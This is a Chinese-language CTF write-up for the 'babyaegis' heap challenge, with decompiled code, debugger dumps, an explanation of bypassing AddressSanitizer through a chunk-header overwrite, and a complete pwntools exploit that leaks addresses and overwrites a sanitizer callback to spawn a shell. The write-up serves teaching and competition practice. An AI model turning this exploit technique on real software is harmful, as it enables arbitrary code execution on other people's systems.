Analysis
checksec
franex@franex-virtual-machine:~/桌面/babyaegis$ checksec aegis
[*] '/home/franex/\xe6\xa1\x8c\xe9\x9d\xa2/babyaegis/aegis'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
UBSAN: Enabled
七个保护…我在网上查了一下
ASAN
是指AddressSanitizer
,这是一款用于检测C/C++内存错误的工具。而UBSAN
是指UndefinedBehaviorSanitizer
, 这是一款用于检测未定义行为的检测器,比如使用没对齐的或者为空的指针什么的。
会检测以下的行为
检测以下行为
Use after free (dangling pointer dereference)
Heap buffer overflow
Stack buffer overflow
Global buffer overflow
Use after return
Use after scope
Initialization order bugs
Memory leaks
然后放到ida里面看一下
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
const char *v4; // rdi
int v5; // eax
__int64 v6; // rdx
if ( *(_BYTE *)(((unsigned __int64)&stdin >> 3) + 0x7FFF8000) )
_asan_report_load8(&stdin, argv, envp);
setvbuf(stdin, 0LL, 2, 0LL);
if ( *(_BYTE *)(((unsigned __int64)&stdout >> 3) + 0x7FFF8000) )
_asan_report_load8(&stdout, 0LL, v3);
setvbuf(stdout, 0LL, 2, 0LL);
v4 = dword_78;
alarm(0x78u);
banner();
while ( 1 )
{
while ( 1 )
{
v5 = menu();
if ( v5 != 1 )
break;
add_note(v4, 0LL, v6, 0LL);
}
switch ( v5 )
{
case 2:
show_note(v4, 0LL, v6, 0LL);
break;
case 3:
update_note(v4, 0LL, v6, 0LL);
break;
case 4:
delete_note(v4, 0LL, v6, 0LL);
break;
case 5:
puts("Bye!");
_asan_handle_no_return();
exit(0);
case 666:
secret(v4, 0LL, v6, 661LL);
break;
default:
v4 = "Error!";
puts("Error!");
break;
}
}
}
查看各个函数
ADD:
unsigned __int64 __fastcall add_note(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
unsigned __int64 v6; // rdi
int v7; // edx
int v8; // ecx
int v9; // er8
int v10; // er9
__int64 v11; // rsi
int v12; // edx
int v13; // ecx
int v14; // er8
int v15; // er9
__int64 ul; // rax
unsigned __int64 v17; // rdi
__int64 v18; // rax
__int64 v19; // rdx
unsigned __int64 v20; // rdi
unsigned __int64 v21; // rcx
__int64 v22; // rcx
unsigned __int64 v23; // rdi
__int64 *v24; // rax
unsigned __int64 v25; // rdx
unsigned __int64 v26; // rdi
unsigned __int64 v27; // rdi
__int64 v29; // [rsp+8h] [rbp-28h]
int until_nl_or_max; // [rsp+18h] [rbp-18h]
int v31; // [rsp+1Ch] [rbp-14h]
int v32; // [rsp+20h] [rbp-10h]
int i; // [rsp+24h] [rbp-Ch]
v32 = -1;
for ( i = 0; i < 10; ++i )
{
v6 = (unsigned __int64)¬es + 8 * i;
if ( *(_BYTE *)((v6 >> 3) + 0x7FFF8000) )
_asan_report_load8(v6, a2, a3);
if ( !*(_QWORD *)v6 )
{
v32 = i;
break;
}
}
if ( v32 == -1 )
error();
printf((unsigned int)"Size: ", a2, a3, a4, a5, a6);
v31 = read_int();
if ( v31 < 16 || v31 > 1024 )
error();
v29 = malloc((__asan *)v31);
if ( !v29 )
error();
printf((unsigned int)"Content: ", a2, v7, v8, v9, v10);
v11 = v31 - 8;
until_nl_or_max = read_until_nl_or_max(v29, v11);
printf((unsigned int)"ID: ", v11, v12, v13, v14, v15);
ul = read_ul();
v17 = until_nl_or_max + v29;
if ( *(_BYTE *)((v17 >> 3) + 0x7FFF8000) )
ul = _asan_report_store8(v17);
*(_QWORD *)v17 = ul;
v18 = malloc((__asan *)&word_10);
v20 = (unsigned __int64)¬es + 8 * v32;
if ( *(_BYTE *)((v20 >> 3) + 0x7FFF8000) )
v18 = _asan_report_store8(v20);
*(_QWORD *)v20 = v18;
v21 = (unsigned __int64)¬es + 8 * v32;
if ( *(_BYTE *)((v21 >> 3) + 0x7FFF8000) )
_asan_report_load8((char *)¬es + 8 * v32, v11, v19);
if ( !*(_QWORD *)v21 )
error();
v22 = v29;
v23 = (unsigned __int64)¬es + 8 * v32;
if ( *(_BYTE *)((v23 >> 3) + 0x7FFF8000) )
_asan_report_load8(v23, v11, v19);
v24 = *(__int64 **)v23;
v25 = *(_QWORD *)v23 >> 3;
if ( *(_BYTE *)(v25 + 0x7FFF8000) )
v24 = (__int64 *)_asan_report_store8((unsigned __int64)v24);
*v24 = v22;
v26 = (unsigned __int64)¬es + 8 * v32;
if ( *(_BYTE *)((v26 >> 3) + 0x7FFF8000) )
_asan_report_load8(v26, v11, v25);
v27 = *(_QWORD *)v26 + 8LL;
if ( *(_BYTE *)((v27 >> 3) + 0x7FFF8000) )
_asan_report_store8(v27);
*(_QWORD *)v27 = cfi_check;
puts("Add success!");
return __readfsqword(0x28u);
}
只能分配十个note,每个note在0x10到0x400之间
然后在分配的buf下面,有一个指针指向check函数
打印出来
unsigned __int64 __fastcall show_note(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
unsigned __int64 v6; // rdi
unsigned __int64 v7; // rdi
__int64 v8; // r14
__int64 v9; // rbx
int v10; // ecx
unsigned __int64 v11; // rbx
int v12; // er8
int v13; // er9
unsigned __int64 v15; // [rsp+8h] [rbp-28h]
int v16; // [rsp+10h] [rbp-20h]
printf((unsigned int)"Index: ", a2, a3, a4, a5, a6);
v16 = read_int();
if ( v16 < 0 || v16 >= 10 )
goto LABEL_6;
v6 = (unsigned __int64)¬es + 8 * v16;
if ( *(_BYTE *)((v6 >> 3) + 0x7FFF8000) )
_asan_report_load8(v6);
if ( !*(_QWORD *)v6 )
LABEL_6:
error();
v7 = (unsigned __int64)¬es + 8 * v16;
if ( *(_BYTE *)((v7 >> 3) + 0x7FFF8000) )
_asan_report_load8(v7);
v15 = *(_QWORD *)v7;
if ( *(_BYTE *)((*(_QWORD *)v7 >> 3) + 0x7FFF8000LL) )
_asan_report_load8(v15);
v8 = *(_QWORD *)v15;
if ( *(_BYTE *)((v15 >> 3) + 0x7FFF8000) )
_asan_report_load8(v15);
v9 = *(_QWORD *)v15;
if ( *(_BYTE *)((v15 >> 3) + 0x7FFF8000) )
_asan_report_load8(v15);
v11 = strlen(*(_QWORD *)v15) + v9 + 1;
if ( *(_BYTE *)((v11 >> 3) + 0x7FFF8000) )
_asan_report_load8(v11);
printf((unsigned int)"Content: %s\nID: %lu\n", v8, *(_QWORD *)v11, v10, v12, v13);
return __readfsqword(0x28u);
}
根据输入的id,打印note
unsigned __int64 __fastcall delete_note(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
unsigned __int64 v6; // rdi
unsigned __int64 v7; // rdi
unsigned __int64 v8; // rdi
unsigned __int64 v9; // rdi
int v11; // [rsp+14h] [rbp-Ch]
printf((unsigned int)"Index: ", a2, a3, a4, a5, a6);
v11 = read_int();
if ( v11 < 0 || v11 >= 10 )
goto LABEL_6;
v6 = (unsigned __int64)¬es + 8 * v11;
if ( *(_BYTE *)((v6 >> 3) + 0x7FFF8000) )
_asan_report_load8(v6);
if ( !*(_QWORD *)v6 )
LABEL_6:
error();
v7 = (unsigned __int64)¬es + 8 * v11;
if ( *(_BYTE *)((v7 >> 3) + 0x7FFF8000) )
_asan_report_load8(v7);
v8 = *(_QWORD *)v7;
if ( *(_BYTE *)((v8 >> 3) + 0x7FFF8000) )
_asan_report_load8(v8);
free(*(__sanitizer **)v8);
v9 = (unsigned __int64)¬es + 8 * v11;
if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
_asan_report_load8(v9);
free(*(__sanitizer **)v9);
puts("Delete success!");
return __readfsqword(0x28u);
}
UAF,因为free没有置空,但是这里可以看到开启了asan,比较难以利用
看一下update_note
unsigned __int64 __fastcall update_note(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
int v6; // edx
int v7; // er8
int v8; // er9
unsigned __int64 v9; // rdi
unsigned __int64 v10; // rdi
__int64 v11; // rbx
unsigned __int64 v12; // rsi
int v13; // edx
int v14; // ecx
int v15; // er8
int v16; // er9
__int64 ul; // rax
unsigned __int64 v18; // rdi
__int64 (__fastcall **v19)(); // rdi
__int64 (__fastcall *v20)(); // rbx
unsigned __int64 v22; // [rsp+8h] [rbp-28h]
int until_nl_or_max; // [rsp+18h] [rbp-18h]
int v24; // [rsp+1Ch] [rbp-14h]
printf((unsigned int)"Index: ", a2, a3, a4, a5, a6);
v24 = read_int();
if ( v24 < 0 || v24 >= 10 )
goto LABEL_6;
v9 = (unsigned __int64)¬es + 8 * v24;
if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
_asan_report_load8(v9);
if ( !*(_QWORD *)v9 )
LABEL_6:
error();
v10 = (unsigned __int64)¬es + 8 * v24;
if ( *(_BYTE *)((v10 >> 3) + 0x7FFF8000) )
_asan_report_load8(v10);
v22 = *(_QWORD *)v10;
printf((unsigned int)"New Content: ", a2, v6, *(_QWORD *)v10, v7, v8);
if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
_asan_report_load8(v22);
v11 = *(_QWORD *)v22;
if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
_asan_report_load8(v22);
v12 = strlen(*(_QWORD *)v22) + 1; //overflow
until_nl_or_max = read_until_nl_or_max(v11, v12);
printf((unsigned int)"New ID: ", v12, v13, v14, v15, v16);
ul = read_ul();
if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
ul = _asan_report_load8(v22);
v18 = until_nl_or_max + *(_QWORD *)v22;
if ( *(_BYTE *)((v18 >> 3) + 0x7FFF8000) )
ul = _asan_report_store8(v18);
*(_QWORD *)v18 = ul;
v19 = (__int64 (__fastcall **)())(v22 + 8);
if ( *(_BYTE *)(((v22 + 8) >> 3) + 0x7FFF8000) )
_asan_report_load8((unsigned __int64)v19);
v20 = *v19;
if ( *v19 != cfi_check )
{
_asan_handle_no_return();
_ubsan_handle_cfi_check_fail_abort(&unk_34B100, v20);
}
((void (__fastcall *)(_QWORD))v20)((unsigned int)v24);
puts("Update success!");
if ( *(_BYTE *)((v22 >> 3) + 0x7FFF8000) )
_asan_report_load8(v22);
if ( *(_QWORD *)v22 >> 44 != 6LL )
error();
return __readfsqword(0x28u);
}
出错在里面的read_until_nl_or_max函数,因为它在代码里面是根据输入的内容逐字节读入,返回的是读入字符+1,如果直接输入最大的content话,存储的content就会溢出到ID,然后strlen(*v16) + 1的值就会比content大。 但是因为asan的check机制,会报错并且退出
然后发现一个secret函数
unsigned __int64 __fastcall secret(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
_BYTE *v6; // rax
unsigned __int64 ul; // [rsp+0h] [rbp-10h]
if ( secret_enable )
{
printf((unsigned int)"Lucky Number: ", a2, a3, a4, a5, a6);
ul = read_ul();
if ( ul >> 44 )
v6 = (_BYTE *)(ul | 0x700000000000LL);
else
v6 = (_BYTE *)ul;
*v6 = 0;
secret_enable = 0;
}
else
{
puts("No secret!");
}
return __readfsqword(0x28u);
}
如果输入的数字右移44位后大于0,就会和0x700000000000或运算,在一个地址(v6)处写入0,然后这个函数不能用了
然后通过vmmap,其中,heap下第一个拥有rw-p的就是heap,在 0x602000000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fff7000 0x8fff7000 rw-p 10000000 0 anon_7fff7
0x8fff7000 0x2008fff7000 ---p 20000000000 0 anon_8fff7
0x2008fff7000 0x10007fff8000 rw-p dfff0001000 0 anon_2008fff7
0x555555554000 0x55555569b000 r-xp 147000 0 /home/franex/桌面/babyaegis/aegis
0x55555589b000 0x55555589c000 r--p 1000 147000 /home/franex/桌面/babyaegis/aegis
0x55555589c000 0x5555558a0000 rw-p 4000 148000 /home/franex/桌面/babyaegis/aegis
0x5555558a0000 0x555556505000 rw-p c65000 0 [heap]
0x600000000000 0x602000000000 ---p 2000000000 0 anon_600000000
0x602000000000 0x602000010000 rw-p 10000 0 anon_602000000
0x602000010000 0x602e00000000 ---p dffff0000 0 anon_602000010
0x602e00000000 0x602e00010000 rw-p 10000 0 anon_602e00000
0x602e00010000 0x607000000000 ---p 41ffff0000 0 anon_602e00010
0x607000000000 0x607000010000 rw-p 10000 0 anon_607000000
0x607000010000 0x607e00000000 ---p dffff0000 0 anon_607000010
0x607e00000000 0x607e00010000 rw-p 10000 0 anon_607e00000
0x607e00010000 0x60b000000000 ---p 31ffff0000 0 anon_607e00010
0x60b000000000 0x60b000010000 rw-p 10000 0 anon_60b000000
0x60b000010000 0x60be00000000 ---p dffff0000 0 anon_60b000010
0x60be00000000 0x60be00010000 rw-p 10000 0 anon_60be00000
0x60be00010000 0x624000000000 ---p 181ffff0000 0 anon_60be00010
0x624000000000 0x624000010000 rw-p 10000 0 anon_624000000
0x624000010000 0x624e00000000 ---p dffff0000 0 anon_624000010
0x624e00000000 0x624e00010000 rw-p 10000 0 anon_624e00000
0x624e00010000 0x640000000000 ---p 1b1ffff0000 0 anon_624e00010
0x640000000000 0x640000003000 rw-p 3000 0 anon_640000000
0x7ffff4300000 0x7ffff4400000 rw-p 100000 0 anon_7ffff4300
0x7ffff4500000 0x7ffff4600000 rw-p 100000 0 anon_7ffff4500
0x7ffff4700000 0x7ffff4800000 rw-p 100000 0 anon_7ffff4700
0x7ffff4900000 0x7ffff4a00000 rw-p 100000 0 anon_7ffff4900
0x7ffff4aaf000 0x7ffff6e01000 rw-p 2352000 0 anon_7ffff4aaf
0x7ffff6e01000 0x7ffff6fe8000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff6fe8000 0x7ffff71e8000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff71e8000 0x7ffff71ec000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff71ec000 0x7ffff71ee000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff71ee000 0x7ffff71f2000 rw-p 4000 0 anon_7ffff71ee
0x7ffff71f2000 0x7ffff7209000 r-xp 17000 0 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7209000 0x7ffff7408000 ---p 1ff000 17000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7408000 0x7ffff7409000 r--p 1000 16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7409000 0x7ffff740a000 rw-p 1000 17000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff740a000 0x7ffff740d000 r-xp 3000 0 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff740d000 0x7ffff760c000 ---p 1ff000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff760c000 0x7ffff760d000 r--p 1000 2000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff760d000 0x7ffff760e000 rw-p 1000 3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7ffff760e000 0x7ffff77ab000 r-xp 19d000 0 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff77ab000 0x7ffff79aa000 ---p 1ff000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff79aa000 0x7ffff79ab000 r--p 1000 19c000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff79ab000 0x7ffff79ac000 rw-p 1000 19d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7ffff79ac000 0x7ffff79b3000 r-xp 7000 0 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff79b3000 0x7ffff7bb2000 ---p 1ff000 7000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff7bb2000 0x7ffff7bb3000 r--p 1000 6000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff7bb3000 0x7ffff7bb4000 rw-p 1000 7000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7ffff7bb4000 0x7ffff7bce000 r-xp 1a000 0 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7bce000 0x7ffff7dcd000 ---p 1ff000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7dcd000 0x7ffff7dce000 r--p 1000 19000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7dce000 0x7ffff7dcf000 rw-p 1000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7ffff7dcf000 0x7ffff7dd3000 rw-p 4000 0 anon_7ffff7dcf
0x7ffff7dd3000 0x7ffff7dfc000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7e91000 0x7ffff7fe0000 rw-p 14f000 0 anon_7ffff7e91
0x7ffff7fe0000 0x7ffff7ff8000 rw-p 18000 0 anon_7ffff7fe0
0x7ffff7ff8000 0x7ffff7ffb000 r--p 3000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 anon_7ffff7ffe
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> x/10gx 0x602000000000
0x602000000000: 0x02ffffff00000002 0x3c00000120000010
0x602000000010: 0x0000000000333231 0xbebebebe00000000
0x602000000020: 0x02ffffff00000002 0x7680000120000010
0x602000000030: 0x0000602000000010 0x0000555555668ab0
0x602000000040: 0x0000000000000000 0x0000000000000000
然后使用对应的算法0x6020000>>3+0x7FFF8000得到影子内存
pwndbg> x/10gx 0x602000000000>>3
0xc0400000000: 0x0000000000000000 0x0000000000000000
0xc0400000010: 0x0000000000000000 0x0000000000000000
0xc0400000020: 0x0000000000000000 0x0000000000000000
0xc0400000030: 0x0000000000000000 0x0000000000000000
0xc0400000040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0xc0400000000+0x7FFF8000
0xc047fff8000: 0x0000fafa0000fafa 0xfafafafafafafafa
0xc047fff8010: 0xfafafafafafafafa 0xfafafafafafafafa
0xc047fff8020: 0xfafafafafafafafa 0xfafafafafafafafa
0xc047fff8030: 0xfafafafafafafafa 0xfafafafafafafafa
0xc047fff8040: 0xfafafafafafafafa 0xfafafafafafafafa
free了过后
pwndbg> x/10gx 0xc0400000000+0x7FFF8000
0xc047fff8000: 0xfdfdfafafdfdfafa 0xfafafafafafafafa
0xc047fff8010: 0xfafafafafafafafa 0xfafafafafafafafa
0xc047fff8020: 0xfafafafafafafafa 0xfafafafafafafafa
0xc047fff8030: 0xfafafafafafafafa 0xfafafafafafafafa
0xc047fff8040: 0xfafafafafafafafa 0xfafafafafafafafa
可以看到,中间置fd了,表示free heap region
利用思路
这里有content的chunk和pointer的chunk,如果把pointer的chunk置为0,那溢出的时候就不会报错了
这样得话,改写redzone剩下的改一下地址就行了
查看一下asan的chunk结构
struct ChunkHeader {
// 1-st 8 bytes.
u32 chunk_state : 8; // Must be first.
u32 alloc_tid : 24;
u32 free_tid : 24;
u32 from_memalign : 1;
u32 alloc_type : 2;
u32 rz_log : 3;
u32 lsan_tag : 2;
// 2-nd 8 bytes
// This field is used for small sizes. For large sizes it is equal to
// SizeClassMap::kMaxSize and the actual size is stored in the
// SecondaryAllocator's metadata.
u32 user_requested_size : 29;
// align < 8 -> 0
// else -> log2(min(align, 512)) - 2
u32 user_requested_alignment_log : 3;
u32 alloc_context_id;
};
ChunkHeader前8bit存了chunk_state ,后24bit存了 alloc_tid ,以此类推。可以发现ChunkHeader中存有
user_requested_size字段,尝试修改这个字段,可以发现如果将这修改为一个很大的值的话,释放掉chunk就会使 shadow memory 回到初始状态,具体的机制我没看源码了解的就不是很多,看别人的writeup说是内存过大,触发了asan的回收机制。
这时再新建一个note,会发现新分配的note和之前分配的note重叠,并且顺序是相反的。所以我们可以控制note中的内存指针,从而实现任意读写,利用这个先泄露出code_base, 然后泄露got表内容获取libc地址。
getshell
改写call_back为one_gadget
这里通过覆盖bss段上的_ZN11__sanitizerL15UserDieCallbackE
为one_gadget,然后造成内存错误时就会被执行。这能成功的原因是UserDieCallback
函数会调用在 bss段上的_ZN11__sanitizerL15UserDieCallbackE
所指的函数。
_asan_handle_no_return(v17, v10, v12, v16, v13, v14);
_ubsan_handle_cfi_check_fail_abort(&unk_34B100, v18, v19, v20, v21, v22);
if ( __sanitizer::UserDieCallback )
__sanitizer::UserDieCallback(this);
v2 = &__sanitizer::InternalDieCallbacks;
__sanitizer::UserDieCallback(this)
会去调用bss段上的_ZN11__sanitizerL15UserDieCallbackE
,所以只要将_ZN11__sanitizerL15UserDieCallbackE
覆盖为one_gadget,当crash的时候就能够getshell了
from pwn import*
context.log_level = "debug"
host = '111.186.63.209'
port = 6666
#p = process('./aegis')
p = remote(host,port)
elf = ELF('./aegis')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,size,content):
p.sendlineafter("Choice: ",'1')
p.sendlineafter(":",str(size))
p.sendafter(":",content)
p.sendlineafter(":",str(idx))
def show(idx):
p.sendlineafter(":",'2')
p.sendlineafter(":",str(idx))
def update(idx,content,new_idx):
p.sendlineafter(":",'3')
p.sendlineafter(": ",str(idx))
p.sendafter(":",content)
p.sendlineafter(":",str(new_idx))
def delete(idx):
p.sendlineafter(":",'4')
p.sendlineafter(":",str(idx))
def secret(add):
p.sendlineafter(":",'666')
p.sendlineafter(":",str(add))
def get_base():
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[4], 16)
print hex(text_base)
return text_base
#note_add = get_base() + 0xFB0CC0
#d = 0x113954 +get_base()
#gdb.attach(p,'b *{}'.format(hex(d)))
#success(hex(note_add))
add(0x123456789abcdef,0x10,'a'*0x8)
secret(str(0xc047fff8004))
update(0,'a'*0x12,0x123456789)
update(0,'a'*0x10 + p64(0x02ffffff00000002)[:7] ,0x01f000000002ff)
delete(0)
add(0,0x10,p64(0x602000000018))
show(0)
p.recvuntil("Content: ")
leak_code = u64(p.recv(6).ljust(8,'\x00'))
code_base = leak_code - 0x114ab0
success(hex(code_base))
puts_got = elf.got['puts']
update(1,p64(code_base + puts_got)[:2],(code_base+puts_got)>>8) #leak libc
show(0)
p.recvuntil("Content: ")
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
libc.address = libc_base
success(hex(libc_base))
one_gadget = libc_base+0x10a38c
call_back = code_base + 0xFB0888
update(1,p64(call_back)[:7],0) # overwrite cfg ==> null ,trigger memory error
pause()
update(0,' '*8,one_gadget) #overwrite call_back ==> one_gadget
p.interactive("zs0zrc>>")